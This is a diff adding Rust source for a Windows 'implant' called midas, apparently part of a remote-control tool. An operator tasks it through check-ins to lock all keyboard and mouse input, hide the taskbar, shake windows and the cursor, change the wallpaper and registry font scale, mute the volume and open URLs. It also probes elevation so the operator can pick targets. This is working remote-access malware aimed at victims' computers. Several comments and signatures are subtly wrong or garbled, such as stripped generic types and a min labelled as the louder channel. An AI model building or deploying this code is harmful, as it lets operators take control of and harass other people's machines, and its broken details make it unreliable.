+    let mut rng = Rng::new(seed ^ frame.wrapping_mul(0x9E37_79B9_7F4A_7C15));
+
+    // A couple of thousand rects reads as noise and stays cheap; one rect per
+    // pixel would not.
+    for _ in 0..2200 {
+        let w = rng.range(2.0, 12.0);
+        let h = rng.range(1.0, 4.0);
+        let grey = rng.range(20.0, 255.0) as u8;
+
+        painter.rect_filled(
+            Rect::from_min_size(
+                pos2(rng.range(0.0, rect.width()), rng.range(0.0, rect.height())),
+                Vec2::new(w, h),
+            ),
+            0.0,
+            Color32::from_gray(grey),
+        );
+    }
+}
+
+fn draw_matrix(painter: &Painter, rect: Rect, time: f64, seed: u64) {
+    painter.rect_filled(rect, 0.0, Color32::from_rgb(0, 8, 0));
+
+    // ASCII only, deliberately: egui's bundled default font has no CJK
+    // coverage, so katakana would render as blank boxes rather than glyphs.
+    const GLYPHS: &[u8] = b"0123456789ABCDEF$<>#@%&*+=|\\";
+
+    let cell: f32 = 18.0;
+    let columns = (rect.width() / cell).ceil() as u32;
+    let rows = (rect.height() / cell).ceil() as u32;
+    let tail = 14i64;
+
+    let font = FontId::monospace(cell * 0.9);
+
+    for column in 0..columns {
+        // Per-column speed and phase derived from the column index, so the
+        // animation is a pure function of time and needs no stored state.
+        let column_seed = seed ^ (column as u64).wrapping_mul(0x9E37_79B9_7F4A_7C15);
+        let speed = 6.0 + (column_seed % 9) as f64;
+        let phase = ((column_seed >> 8) % 1000) as f64 / 1000.0;
+
+        let span = rows as i64 + tail;
+        let head = (time.mul_add(speed, phase * 60.0) % span as f64) as i64;
+
+        for offset in 0..tail {
+            let row = head - offset;
+            if row < 0 || row >= rows as i64 {
+                continue;
+            }
+
+            let index = (column_seed.rotate_left(row as u32 * 5) as usize) % GLYPHS.len();
+            let glyph = GLYPHS[index] as char;
+
+            // Brightest at the head, fading down the tail.
+            let alpha = 255 - (offset as f32 / tail as f32 * 235.0) as u8;
+            let color = if offset == 0 {
+                Color32::from_rgb(200, 255, 200)
+            } else {
+                Color32::from_rgba_unmultiplied(0, 210, 60, alpha)
+            };
+
+            painter.text(
+                pos2(column as f32 * cell, row as f32 * cell),
+                Align2::LEFT_TOP,
+                glyph,
+                font.clone(),
+                color,
+            );
+        }
+    }
+}
+
+fn draw_scanline(painter: &Painter, rect: Rect, time: f64) {
+    painter.rect_filled(rect, 0.0, Color32::from_rgb(6, 10, 6));
+
+    let mut y = 0.0f32;
+    while y < rect.height() {
+        painter.rect_filled(
+            Rect::from_min_size(
+                pos2(rect.min.x, rect.min.y + y),
+                Vec2::new(rect.width(), 1.0),
+            ),
+            0.0,
+            Color32::from_black_alpha(140),
+        );
+        y += 3.0;
+    }
+
+    // A brighter band sweeping down, which is what sells it as a display fault.
+    let span = rect.height() + 200.0;
+    let band_y = ((time * 260.0) % span as f64) as f32 - 100.0;
+
+    for offset in 0..3 {
+        painter.rect_filled(
+            Rect::from_min_size(
+                pos2(rect.min.x, rect.min.y + band_y + offset as f32 * 2.0),
+                Vec2::new(rect.width(), 1.0),
+            ),
+            0.0,
+            Color32::from_rgb(120, 255, 160),
+        );
+    }
+}
+
+fn draw_glitch(painter: &Painter, rect: Rect, time: f64, seed: u64) {
+    painter.rect_filled(rect, 0.0, Color32::from_rgb(10, 0, 14));
+
+    let mut rng = Rng::new(seed ^ (time * 20.0) as u64);
+
+    // Horizontal slices displaced sideways, the classic datamosh look.
+    let slices = 40;
+    let band = rect.height() / slices as f32;
+
+    for index in 0..slices {
+        let shift = if rng.f32() > 0.82 {
+            rng.range(-90.0, 90.0)
+        } else {
+            0.0
+        };
+
+        let hue = rng.f32();
+        let color = Color32::from_rgba_unmultiplied(
+            (hue * 255.0) as u8,
+            ((1.0 - hue) * 180.0) as u8,
+            (rng.f32() * 200.0) as u8,
+            90,
+        );
+
+        painter.rect_filled(
+            Rect::from_min_size(
+                pos2(rect.min.x + shift, rect.min.y + index as f32 * band),
+                Vec2::new(rect.width(), band),
+            ),
+            0.0,
+            color,
+        );
+    }
+
+    // A few solid bright bands on top.
+    for _ in 0..6 {
+        let height = rng.range(2.0, 14.0);
+        let alpha = rng.range(40.0, 150.0) as u8;
+
+        painter.rect_filled(
+            Rect::from_min_size(
+                pos2(
+                    rect.min.x + rng.range(-60.0, 60.0),
+                    rect.min.y + rng.range(0.0, rect.height()),
+                ),
+                Vec2::new(rect.width(), height),
+            ),
+            0.0,
+            Color32::from_white_alpha(alpha),
+        );
+    }
+}
+
+// ---------------------------------------------------------------------------
+// Helpers
+// ---------------------------------------------------------------------------
+
+/// Greedy word wrap. The painter's `text` call does not wrap, and these strings
+/// are short enough that a per-character width estimate is good enough - the
+/// only consequence of being out is a line that is a little short or a little
+/// wide, and the window was sized with the same estimate.
+fn wrap_text(text: &str, max_width: f32, font_size: f32) -> Vec {
+    let char_width = (font_size * 0.55).max(1.0);
+    let per_line = (max_width / char_width).floor().max(1.0) as usize;
+
+    let mut lines = Vec::new();
+    let mut current = String::new();
+
+    for word in text.split_whitespace() {
+        let candidate = if current.is_empty() {
+            word.to_string()
+        } else {
+            format!("{current} {word}")
+        };
+
+        if current.is_empty() || candidate.chars().count() <= per_line {
+            current = candidate;
+        } else {
+            lines.push(std::mem::take(&mut current));
+            current = word.to_string();
+        }
+    }
+
+    if !current.is_empty() {
+        lines.push(current);
+    }
+    if lines.is_empty() {
+        lines.push(String::new());
+    }
+
+    lines
+}
diff --git a/implants/midas/src/gui/win.rs b/implants/midas/src/gui/win.rs
new file mode 100644
index 0000000..927a284
--- /dev/null
+++ b/implants/midas/src/gui/win.rs
@@ -0,0 +1,814 @@
+//! Windows desktop integration.
+//!
+//! The Win32 entry points are declared by hand rather than pulled from the
+//! `windows` crate. That keeps the dependency list short, keeps the binary
+//! small, and — because the declarations are plain `extern "system"` with no
+//! per-version typing — the module links identically under both
+//! `x86_64-pc-windows-msvc` and the `x86_64-pc-windows-gnu` target used to
+//! cross-compile from Linux.
+//!
+//! Nothing here is called on the check-in thread. Blocking calls (`msgbox`,
+//! `shake`, `lock_input`, `cursor`) are invoked through `gui::detach`, because
+//! the Web UI abandons a task after 90 seconds and an inline modal dialog would
+//! stall check-ins for as long as it stayed open.
+
+// The Win32 spellings are kept verbatim so each declaration can be read against
+// the SDK header by name: a renamed `Hwnd` would not match what the operator
+// would look up when checking whether a call is being used correctly.
+#![allow(non_snake_case, non_camel_case_types, clippy::upper_case_acronyms)]
+
+use std::ffi::c_void;
+use std::os::windows::ffi::OsStrExt;
+use std::time::{Duration, Instant};
+
+type HWND = *mut c_void;
+type HKEY = *mut c_void;
+type HANDLE = *mut c_void;
+type UINT = u32;
+type DWORD = u32;
+type LPARAM = isize;
+type BOOL = i32;
+
+// --- MessageBoxW ------------------------------------------------------------
+const MB_OK: u32 = 0x0000;
+const MB_ICONERROR: u32 = 0x0010;
+const MB_ICONQUESTION: u32 = 0x0020;
+const MB_ICONWARNING: u32 = 0x0030;
+const MB_ICONINFORMATION: u32 = 0x0040;
+const MB_SETFOREGROUND: u32 = 0x10000;
+const MB_TOPMOST: u32 = 0x40000;
+
+// --- SystemParametersInfoW --------------------------------------------------
+const SPI_SETDESKWALLPAPER: u32 = 0x0014;
+const SPI_GETDESKWALLPAPER: u32 = 0x0073;
+const SPIF_UPDATEINIFILE: u32 = 0x0001;
+const SPIF_SENDCHANGE: u32 = 0x0002;
+
+// --- ShowWindow / SetWindowPos ---------------------------------------------
+const SW_HIDE: i32 = 0;
+const SW_SHOW: i32 = 5;
+const SW_MINIMIZE: i32 = 6;
+const SW_RESTORE: i32 = 9;
+const SWP_NOSIZE: u32 = 0x0001;
+const SWP_NOZORDER: u32 = 0x0004;
+const SWP_NOACTIVATE: u32 = 0x0010;
+
+// --- PlaySoundW -------------------------------------------------------------
+const SND_ASYNC: u32 = 0x0001;
+const SND_FILENAME: u32 = 0x0002;
+const SND_LOOP: u32 = 0x0008;
+/// Selects a system sound by name rather than a file. Not the same bit as
+/// `SND_ASYNC`, which is a common transcription slip.
+const SND_ALIAS: u32 = 0x1100;
+
+// --- GetSystemMetrics -------------------------------------------------------
+const SM_CXSCREEN: i32 = 0;
+const SM_CYSCREEN: i32 = 1;
+
+// --- Registry ---------------------------------------------------------------
+const HKEY_CURRENT_USER: HKEY = 0x8000_0001u32 as HKEY;
+const KEY_SET_VALUE: DWORD = 0x0002;
+const REG_DWORD: DWORD = 4;
+const ERROR_SUCCESS: i32 = 0;
+
+const WM_SETTINGCHANGE: UINT = 0x001A;
+const HWND_BROADCAST: HWND = 0xFFFFu32 as HWND;
+const SMTO_ABORTIFHUNG: UINT = 0x0002;
+
+const HWND_TOP: HWND = 0u32 as HWND;
+
+// --- waveOutSetVolume -------------------------------------------------------
+const WAVE_MAPPER: usize = 0xFFFF_FFFF;
+
+#[repr(C)]
+struct RECT {
+    left: i32,
+    top: i32,
+    right: i32,
+    bottom: i32,
+}
+
+#[link(name = "user32")]
+extern "system" {
+    fn MessageBoxW(hwnd: HWND, text: *const u16, caption: *const u16, kind: u32) -> i32;
+    fn SystemParametersInfoW(action: u32, param: u32, param_ptr: *mut c_void, flags: u32) -> BOOL;
+    fn GetForegroundWindow() -> HWND;
+    fn SetWindowPos(
+        hwnd: HWND,
+        insert_after: HWND,
+        x: i32,
+        y: i32,
+        cx: i32,
+        cy: i32,
+        flags: u32,
+    ) -> BOOL;
+    fn GetWindowRect(hwnd: HWND, rect: *mut RECT) -> BOOL;
+    fn SetWindowTextW(hwnd: HWND, text: *const u16) -> BOOL;
+    fn GetWindowTextLengthW(hwnd: HWND) -> i32;
+    fn GetWindowTextW(hwnd: HWND, text: *mut u16) -> i32;
+    fn ShowWindow(hwnd: HWND, command: i32) -> BOOL;
+    fn FindWindowW(class: *const u16, name: *const u16) -> HWND;
+    fn EnumWindows(callback: Option BOOL>, lparam: LPARAM) -> BOOL;
+    fn IsWindowVisible(hwnd: HWND) -> BOOL;
+    fn IsIconic(hwnd: HWND) -> BOOL;
+    fn GetProcessWindowStation() -> HANDLE;
+    fn BlockInput(block: BOOL) -> BOOL;
+    fn SetCursorPos(x: i32, y: i32) -> BOOL;
+    fn GetCursorPos(point: *mut POINT) -> BOOL;
+    fn ShowCursor(show: BOOL) -> i32;
+    fn GetSystemMetrics(index: i32) -> i32;
+    fn SendMessageTimeoutW(
+        hwnd: HWND,
+        message: UINT,
+        wparam: usize,
+        lparam: usize,
+        flags: UINT,
+        timeout: u32,
+        result: *mut usize,
+    ) -> usize;
+}
+
+#[link(name = "winmm")]
+extern "system" {
+    fn PlaySoundW(sound: *const u16, module: *mut c_void, flags: u32) -> BOOL;
+    fn waveOutSetVolume(device: usize, volume: u32) -> u32;
+    fn waveOutGetVolume(device: usize, volume: *mut u32) -> u32;
+}
+
+#[link(name = "kernel32")]
+extern "system" {
+    fn CloseHandle(handle: HANDLE) -> BOOL;
+}
+
+#[link(name = "shell32")]
+extern "system" {
+    fn ShellExecuteW(
+        hwnd: HWND,
+        operation: *const u16,
+        file: *const u16,
+        parameters: *const u16,
+        directory: *const u16,
+        show: i32,
+    ) -> *mut c_void;
+}
+
+#[link(name = "advapi32")]
+extern "system" {
+    fn RegOpenKeyExW(
+        hkey: HKEY,
+        subkey: *const u16,
+        options: DWORD,
+        access: DWORD,
+        result: *mut HKEY,
+    ) -> i32;
+    fn RegSetValueExW(
+        hkey: HKEY,
+        value_name: *const u16,
+        reserved: DWORD,
+        value_type: DWORD,
+        data: *const u8,
+        data_size: DWORD,
+    ) -> i32;
+    fn RegCloseKey(hkey: HKEY) -> i32;
+    fn OpenProcessToken(process: HANDLE, access: DWORD, token: *mut HANDLE) -> BOOL;
+    fn GetTokenInformation(
+        token: HANDLE,
+        class: i32,
+        info: *mut c_void,
+        length: DWORD,
+        returned: *mut DWORD,
+    ) -> BOOL;
+    fn GetCurrentProcess() -> HANDLE;
+}
+
+// --- Environment probing ----------------------------------------------------
+const TOKEN_QUERY: DWORD = 0x0008;
+const TOKEN_ELEVATION_CLASS: i32 = 20;
+
+/// Whether the process has an interactive window station.
+///
+/// Null from `GetProcessWindowStation` means the process was never assigned one,
+/// which is the case for a service or a scheduled task. Every overlay window
+/// would fail in that state, so `sysinfo` reports it rather than letting the
+/// operator find out by sending a prank that does nothing.
+pub fn has_window_station() -> bool {
+    !unsafe { GetProcessWindowStation() }.is_null()
+}
+
+/// Whether the process is running elevated.
+///
+/// Reported because it is the difference between `lockinput` working and being
+/// refused: `BlockInput` needs SE_DEBUG access, which a standard user does not
+/// have.
+pub fn is_elevated() -> bool {
+    let mut token: HANDLE = std::ptr::null_mut();
+
+    // SAFETY: `token` is a live local, and every failure path below leaves it
+    // unopened rather than closing a garbage handle.
+    if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) } == 0 {
+        return false;
+    }
+
+    // A `TOKEN_ELEVATION` is a single DWORD: 1 when the token is an
+    // administrator token, 0 when it is the linked restricted one.
+    let mut elevation: DWORD = 0;
+    let mut returned: DWORD = 0;
+
+    let ok = unsafe {
+        GetTokenInformation(
+            token,
+            TOKEN_ELEVATION_CLASS,
+            &mut elevation as *mut DWORD as *mut c_void,
+            std::mem::size_of::() as DWORD,
+            &mut returned,
+        )
+    } != 0;
+
+    unsafe { CloseHandle(token) };
+
+    // A full administrator token reports 2; 1 is a partially elevated one that
+    // still counts for our purposes. 0 is the standard user's token.
+    ok && elevation >= 1
+}
+
+#[repr(C)]
+struct POINT {
+    x: i32,
+    y: i32,
+}
+
+const SW_SHOWNORMAL: i32 = 1;
+
+fn wide(text: &str) -> Vec {
+    std::ffi::OsStr::new(text)
+        .encode_wide()
+        .chain(std::iter::once(0))
+        .collect()
+}
+
+fn is_bad(hwnd: HWND) -> bool {
+    hwnd.is_null() || hwnd as isize <= 0
+}
+
+// ---------------------------------------------------------------------------
+// Dialogs
+// ---------------------------------------------------------------------------
+
+/// Modal message box. Blocks until dismissed, so this must never run on the
+/// check-in thread.
+pub fn msgbox(title: &str, body: &str, icon: &str, sound: bool) {
+    let flags = match icon {
+        "error" => MB_ICONERROR,
+        "warning" => MB_ICONWARNING,
+        "question" => MB_ICONQUESTION,
+        "information" | "info" => MB_ICONINFORMATION,
+        _ => 0,
+    } | MB_OK | MB_SETFOREGROUND | MB_TOPMOST;
+
+    // The alarm goes first, and asynchronously, so the sound overlaps the
+    // dialog. Played after the box is dismissed it would land on a desktop that
+    // has already moved on.
+    if sound {
+        unsafe {
+            PlaySoundW(
+                wide("SystemQuestion").as_ptr(),
+                std::ptr::null_mut(),
+                SND_ALIAS | SND_ASYNC,
+            );
+        }
+    }
+
+    unsafe {
+        MessageBoxW(
+            std::ptr::null_mut(),
+            wide(body).as_ptr(),
+            wide(title).as_ptr(),
+            flags,
+        );
+    }
+}
+
+// ---------------------------------------------------------------------------
+// Wallpaper
+// ---------------------------------------------------------------------------
+
+pub fn set_wallpaper(path: &str) -> Result<(), String> {
+    if !std::path::Path::new(path).exists() {
+        return Err(format!("{path} does not exist"));
+    }
+
+    let wide_path = wide(path);
+    let ok = unsafe {
+        SystemParametersInfoW(
+            SPI_SETDESKWALLPAPER,
+            0,
+            wide_path.as_ptr() as *mut c_void,
+            SPIF_UPDATEINIFILE | SPIF_SENDCHANGE,
+        )
+    };
+
+    if ok == 0 {
+        Err("SystemParametersInfoW(SPI_SETDESKWALLPAPER) failed".into())
+    } else {
+        Ok(())
+    }
+}
+
+pub fn get_wallpaper() -> Result {
+    const MAX_PATH: usize = 260;
+    let mut buffer = vec![0u16; MAX_PATH];
+
+    let ok = unsafe {
+        SystemParametersInfoW(
+            SPI_GETDESKWALLPAPER,
+            MAX_PATH as u32,
+            buffer.as_mut_ptr() as *mut c_void,
+            0,
+        )
+    };
+
+    if ok == 0 {
+        return Err("SystemParametersInfoW(SPI_GETDESKWALLPAPER) failed".into());
+    }
+
+    let end = buffer.iter().position(|&c| c == 0).unwrap_or(0);
+    Ok(String::from_utf16_lossy(&buffer[..end]))
+}
+
+// ---------------------------------------------------------------------------
+// Windows
+// ---------------------------------------------------------------------------
+
+struct WindowList {
+    windows: Vec<(HWND, i32, i32)>,
+}
+
+unsafe extern "system" fn collect_visible(hwnd: HWND, lparam: LPARAM) -> BOOL {
+    let list = &mut *(lparam as *mut WindowList);
+
+    if IsWindowVisible(hwnd) == 0 {
+        return 1;
+    }
+
+    let mut rect = RECT {
+        left: 0,
+        top: 0,
+        right: 0,
+        bottom: 0,
+    };
+
+    if GetWindowRect(hwnd, &mut rect) == 0 {
+        return 1;
+    }
+
+    list.windows.push((hwnd, rect.left, rect.top));
+    1
+}
+
+fn visible_windows() -> Vec<(HWND, i32, i32)> {
+    let mut list = WindowList { windows: Vec::new() };
+
+    unsafe {
+        EnumWindows(
+            Some(collect_visible),
+            &mut list as *mut WindowList as LPARAM,
+        );
+    }
+
+    list.windows
+}
+
+/// Moves windows back and forth horizontally, then puts them back.
+///
+/// `target` is `foreground` or `all`; `mouse` never reaches this function
+/// because `commands.rs` routes it to `cursor`.
+pub fn shake(seconds: u64, amplitude: i32, interval: u64, target: &str) {
+    let targets: Vec<(HWND, i32, i32)> = if target == "all" {
+        visible_windows()
+    } else {
+        let hwnd = unsafe { GetForegroundWindow() };
+        if is_bad(hwnd) {
+            return;
+        }
+
+        let mut rect = RECT {
+            left: 0,
+            top: 0,
+            right: 0,
+            bottom: 0,
+        };
+        if unsafe { GetWindowRect(hwnd, &mut rect) } == 0 {
+            return;
+        }
+        vec![(hwnd, rect.left, rect.top)]
+    };
+
+    let deadline = Instant::now() + Duration::from_secs(seconds);
+    let step = Duration::from_millis(interval.max(10));
+    let mut phase = 0i32;
+
+    while Instant::now() < deadline {
+        phase = if phase == 0 { 1 } else { 0 };
+        let offset = if phase == 1 { amplitude } else { -amplitude };
+
+        for (hwnd, x, y) in &targets {
+            unsafe {
+                SetWindowPos(*hwnd, HWND_TOP, x + offset, *y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
+            }
+        }
+
+        std::thread::sleep(step);
+    }
+
+    // Restore, or the target is left with every window nudged sideways.
+    for (hwnd, x, y) in &targets {
+        unsafe {
+            SetWindowPos(*hwnd, HWND_TOP, *x, *y, 0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
+        }
+    }
+}
+
+pub fn get_foreground_title() -> Result {
+    let hwnd = unsafe { GetForegroundWindow() };
+    if is_bad(hwnd) {
+        return Err("no foreground window".into());
+    }
+
+    let length = unsafe { GetWindowTextLengthW(hwnd) };
+    if length <= 0 {
+        return Ok(String::new());
+    }
+
+    let mut buffer = vec![0u16; length as usize + 1];
+    let copied = unsafe { GetWindowTextW(hwnd, buffer.as_mut_ptr()) };
+    if copied <= 0 {
+        return Err("could not read the window title".into());
+    }
+
+    Ok(String::from_utf16_lossy(&buffer[..copied as usize]))
+}
+
+/// Returns the previous title so the operator can put it back.
+pub fn set_foreground_title(title: &str) -> Result {
+    let hwnd = unsafe { GetForegroundWindow() };
+    if is_bad(hwnd) {
+        return Err("no foreground window".into());
+    }
+
+    let previous = get_foreground_title().unwrap_or_default();
+    let ok = unsafe { SetWindowTextW(hwnd, wide(title).as_ptr()) };
+
+    if ok == 0 {
+        Err("SetWindowTextW failed (the target window may be elevated)".into())
+    } else {
+        Ok(previous)
+    }
+}
+
+pub fn set_taskbar(state: &str) -> Result<(), String> {
+    let class = wide("Shell_TrayWnd");
+    let hwnd = unsafe { FindWindowW(class.as_ptr(), std::ptr::null()) };
+    if is_bad(hwnd) {
+        return Err("taskbar window not found".into());
+    }
+
+    let command = match state {
+        "hide" => SW_HIDE,
+        "show" => SW_SHOW,
+        // `IsWindowVisible` is the same predicate `ShowWindow(SW_HIDE)` clears,
+        // so this inverts exactly what the last call did.
+        _ => {
+            if unsafe { IsWindowVisible(hwnd) } != 0 {
+                SW_HIDE
+            } else {
+                SW_SHOW
+            }
+        }
+    };
+
+    unsafe { ShowWindow(hwnd, command) };
+    Ok(())
+}
+
+pub fn set_minimized(state: &str) -> Result<(), String> {
+    let windows = visible_windows();
+    if windows.is_empty() {
+        return Err("no visible windows to act on".into());
+    }
+
+    // `IsIconic` is the same predicate `SW_MINIMIZE` sets. Toggling each window
+    // individually would leave a mix of minimised and restored windows, which
+    // neither `minimize` nor `restore` could describe afterwards, so the whole
+    // set moves one way based on whether all of them are already down.
+    let all_minimized = windows.iter().all(|&(hwnd, _, _)| unsafe { IsIconic(hwnd) } != 0);
+
+    let command = match state {
+        "minimize" => SW_MINIMIZE,
+        "restore" => SW_RESTORE,
+        _ if all_minimized => SW_RESTORE,
+        _ => SW_MINIMIZE,
+    };
+
+    for (hwnd, _, _) in windows {
+        unsafe { ShowWindow(hwnd, command) };
+    }
+
+    Ok(())
+}
+
+// ---------------------------------------------------------------------------
+// Cursor and input
+// ---------------------------------------------------------------------------
+
+pub fn cursor(action: &str, seconds: u64) {
+    let deadline = Instant::now() + Duration::from_secs(seconds);
+    let mut origin = POINT { x: 0, y: 0 };
+    let had_position = unsafe { GetCursorPos(&mut origin) } != 0;
+
+    // `ShowCursor` keeps an internal increment/decrement counter, so a balanced
+    // pair of calls is all that is needed. The per-tick call below is a
+    // re-assert, not a second increment.
+    if action == "hide" {
+        unsafe { ShowCursor(0) };
+    }
+
+    let mut tick: u64 = 0;
+    while Instant::now() < deadline {
+        let (x, y) = match action {
+            "hide" | "corner" => (0, 0),
+            "freeze" => (origin.x, origin.y),
+            "shake" => {
+                // Alternate a few pixels either side of where the pointer was.
+                let delta = if tick % 2 == 0 { 24 } else { -24 };
+                (origin.x + delta, origin.y)
+            }
+            _ => break,
+        };
+
+        unsafe { SetCursorPos(x, y) };
+
+        // An application that calls ShowCursor(TRUE) itself undoes the hide, so
+        // the cursor is re-hidden every tick.
+        if action == "hide" {
+            unsafe { ShowCursor(0) };
+        }
+
+        tick += 1;
+        std::thread::sleep(Duration::from_millis(20));
+    }
+
+    if action == "hide" {
+        unsafe { ShowCursor(1) };
+    }
+
+    // Every mode except `freeze` moved the pointer, and `freeze` ended back
+    // where it started, so restoring unconditionally is both correct and a
+    // no-op in the one case where nothing was left to undo.
+    if had_position {
+        unsafe { SetCursorPos(origin.x, origin.y) };
+    }
+}
+
+/// Blocks keyboard and mouse input system-wide until released.
+///
+/// `BlockInput` only works from an elevated process and returns zero when it
+/// does not, so the refusal is reported rather than leaving the operator
+/// believing input is locked when it is not.
+///
+/// The `gen` argument is the generation the caller registered for. A timed hold
+/// naturally releases when its deadline passes; a hold superseded by a newer one
+/// (or ended by `stopall`, which calls `unblock_input`) observes that its
+/// generation is no longer current and gives up *without* touching the flag -
+/// the system-wide flag has exactly one owner at a time, and clearing it from a
+/// superseded hold would unblock a newer holder's lock.
+///
+/// Returns whether the hold released the flag itself. `false` means the hold was
+/// superseded or ended before it ever blocked.
+pub fn hold_input(gen: u64, duration: Option) -> Result<(), String> {
+    if unsafe { BlockInput(1) } == 0 {
+        return Err("BlockInput was refused; this needs an elevated implant".into());
+    }
+
+    // The caller owns the unblock decision: release only while still current, so
+    // an overtaken hold can never clear a newer one's block.
+    let release = || {
+        if crate::gui::current_input_gen() == gen {
+            unsafe { BlockInput(0) };
+        }
+    };
+
+    match duration.and_then(|d| Instant::now().checked_add(d)) {
+        // A real deadline. A duration too large for `Instant` falls through to
+        // the continuous branch rather than panicking on the add.
+        Some(deadline) => {
+            while Instant::now() < deadline {
+                if crate::gui::current_input_gen() != gen {
+                    return Ok(());
+                }
+                std::thread::sleep(Duration::from_millis(100));
+            }
+            release();
+        }
+        // 0, or effectively continuous because the add overflowed.
+        None => loop {
+            if crate::gui::current_input_gen() != gen {
+                return Ok(());
+            }
+            std::thread::sleep(Duration::from_millis(100));
+        },
+    }
+
+    Ok(())
+}
+
+/// Ends any running input hold.
+///
+/// `BlockInput` is one system-wide flag with no handle to its owner, so the flag
+/// is cleared directly. Harmless to call when nothing holds it; `stopall` does
+/// exactly that on every call.
+pub fn unblock_input() {
+    unsafe { BlockInput(0) };
+}
+
+// ---------------------------------------------------------------------------
+// Sound and volume
+// ---------------------------------------------------------------------------
+
+pub fn play_sound(path: &str, looping: bool) -> Result<(), String> {
+    if !std::path::Path::new(path).exists() {
+        return Err(format!("{path} does not exist"));
+    }
+
+    let mut flags = SND_FILENAME | SND_ASYNC;
+    if looping {
+        flags |= SND_LOOP;
+    }
+
+    let ok = unsafe { PlaySoundW(wide(path).as_ptr(), std::ptr::null_mut(), flags) };
+    if ok == 0 {
+        Err("PlaySoundW failed; only uncompressed WAV is supported".into())
+    } else {
+        Ok(())
+    }
+}
+
+/// Stops playback started by `play_sound`.
+pub fn stop_sound() {
+    unsafe { PlaySoundW(std::ptr::null(), std::ptr::null_mut(), 0) };
+}
+
+/// The volume in force before the last `mute`, so `unmute` can put it back.
+///
+/// `waveOutSetVolume` is a level-setting API with no separate mute flag, so
+/// without this a mute followed by an unmute would have to invent a level and
+/// quietly change the volume a second time.
+static PRE_MUTE: std::sync::Mutex> = std::sync::Mutex::new(None);
+
+pub fn set_volume(action: &str, level: u32) -> Result<(), String> {
+    let level = level.min(100);
+
+    let value = match action {
+        "mute" => {
+            let mut previous = PRE_MUTE.lock().map_err(|_| "volume state is poisoned")?;
+            if previous.is_none() {
+                *previous = Some(current_volume());
+            }
+            0
+        }
+        "unmute" => PRE_MUTE
+            .lock()
+            .map_err(|_| "volume state is poisoned")?
+            .take()
+            .unwrap_or(50),
+        "max" => 100,
+        "min" => 0,
+        _ => level,
+    };
+
+    // waveOutSetVolume takes a packed 16-bit pair, so the scalar is duplicated
+    // across both channels. This is the default playback device only, which is
+    // the right scope for a prank.
+    let packed = (value << 16) | value;
+    let result = unsafe { waveOutSetVolume(WAVE_MAPPER, packed) };
+
+    if result != 0 {
+        Err(format!("waveOutSetVolume failed ({result})"))
+    } else {
+        Ok(())
+    }
+}
+
+fn current_volume() -> u32 {
+    let mut packed: u32 = 0;
+
+    // `MMSYSERR_INVALHANDLE` (5) is what the wave mapper returns for "no
+    // default playback device". Falling back to a level in that case means
+    // `unmute` on a silent machine still does something plausible.
+    // SAFETY: `packed` is a live, correctly aligned `u32` local.
+    if unsafe { waveOutGetVolume(WAVE_MAPPER, &mut packed) } != 0 {
+        return 50;
+    }
+
+    // The low half is the left channel. The louder of the two is restored, so an
+    // unbalanced pair is not silently flattened to its quieter side.
+    packed.min((packed >> 16) & 0xFFFF)
+}
+
+// ---------------------------------------------------------------------------
+// Appearance
+// ---------------------------------------------------------------------------
+
+/// Scales the system UI text.
+///
+/// There is no `SystemParametersInfo` call for this: the persisted value is the
+/// `LogPixels` entry under `HKCU\Control Panel\Desktop`, and Explorer only
+/// picks it up after a `WM_SETTINGCHANGE` broadcast.
+pub fn set_font_scale(percent: u32) -> Result<(), String> {
+    let key = wide("Control Panel\\Desktop");
+    let value = wide("LogPixels");
+
+    unsafe {
+        let mut hkey: HKEY = std::ptr::null_mut();
+        let status = RegOpenKeyExW(
+            HKEY_CURRENT_USER,
+            key.as_ptr(),
+            0,
+            KEY_SET_VALUE,
+            &mut hkey,
+        );
+
+        if status != ERROR_SUCCESS {
+            return Err(format!("RegOpenKeyExW failed ({status})"));
+        }
+
+        // 96 DPI is the 100% baseline every Windows theme is designed against.
+        let pixels = ((percent as f32 / 100.0) * 96.0).round().max(6.0) as u32;
+        let next = pixels.to_le_bytes();
+
+        let status = RegSetValueExW(
+            hkey,
+            value.as_ptr(),
+            0,
+            REG_DWORD,
+            next.as_ptr(),
+            next.len() as u32,
+        );
+
+        RegCloseKey(hkey);
+
+        if status != ERROR_SUCCESS {
+            return Err(format!("RegSetValueExW failed ({status})"));
+        }
+
+        // Explorer and every top-level window cache the metric, so without this
+        // broadcast the change only shows up on the next logon.
+        let broadcast = wide("WindowMetrics");
+        SendMessageTimeoutW(
+            HWND_BROADCAST,
+            WM_SETTINGCHANGE,
+            0,
+            broadcast.as_ptr() as usize,
+            SMTO_ABORTIFHUNG,
+            2000,
+            std::ptr::null_mut(),
+        );
+
+        Ok(())
+    }
+}
+
+// ---------------------------------------------------------------------------
+// Misc
+// ---------------------------------------------------------------------------
+
+pub fn open_url(url: &str) -> Result<(), String> {
+    let handle = unsafe {
+        ShellExecuteW(
+            std::ptr::null_mut(),
+            wide("open").as_ptr(),
+            wide(url).as_ptr(),
+            std::ptr::null(),
+            std::ptr::null(),
+            SW_SHOWNORMAL,
+        )
+    };
+
+    // ShellExecuteW returns a value greater than 32 on success; below that it
+    // is an error code.
+    if (handle as isize) > 32 {
+        Ok(())
+    } else {
+        Err(format!("ShellExecuteW returned {}", handle as isize))
+    }
+}
+
+pub fn screen_size() -> Option<(u32, u32)> {
+    let width = unsafe { GetSystemMetrics(SM_CXSCREEN) };
+    let height = unsafe { GetSystemMetrics(SM_CYSCREEN) };
+
+    if width > 0 && height > 0 {
+        Some((width as u32, height as u32))
+    } else {
+        None
+    }
+}
diff --git a/implants/midas/src/info.rs b/implants/midas/src/info.rs
new file mode 100644
index 0000000..0de27c4
--- /dev/null
+++ b/implants/midas/src/info.rs
@@ -0,0 +1,65 @@
+//! Host reporting.
+//!
+//! `sysinfo` exists so an operator can tell whether a target is worth sending a
+//! prank at before sending one. On Windows the answer is nearly always yes: the
+//! only things that can get in the way are a session with no interactive
+//! desktop (a locked screen, or a service account), which the overlay count and
+//! the screen size below make obvious.
+
+use crate::gui;
+use crate::obf;
+
+/// The operating system, as reported at registration and here.
+pub fn os_name() -> &'static str {
+    std::env::consts::OS
+}
+
+/// Whether a window can be created at all.
+///
+/// False only when the process is running without an interactive window station,
+/// which is the one situation where every overlay command is guaranteed to fail
+/// and it is worth saying so before one is sent.
+pub fn gui_available() -> bool {
+    gui::win::has_window_station()
+}
+
+/// The body of the `sysinfo` command result.
+pub fn report() -> String {
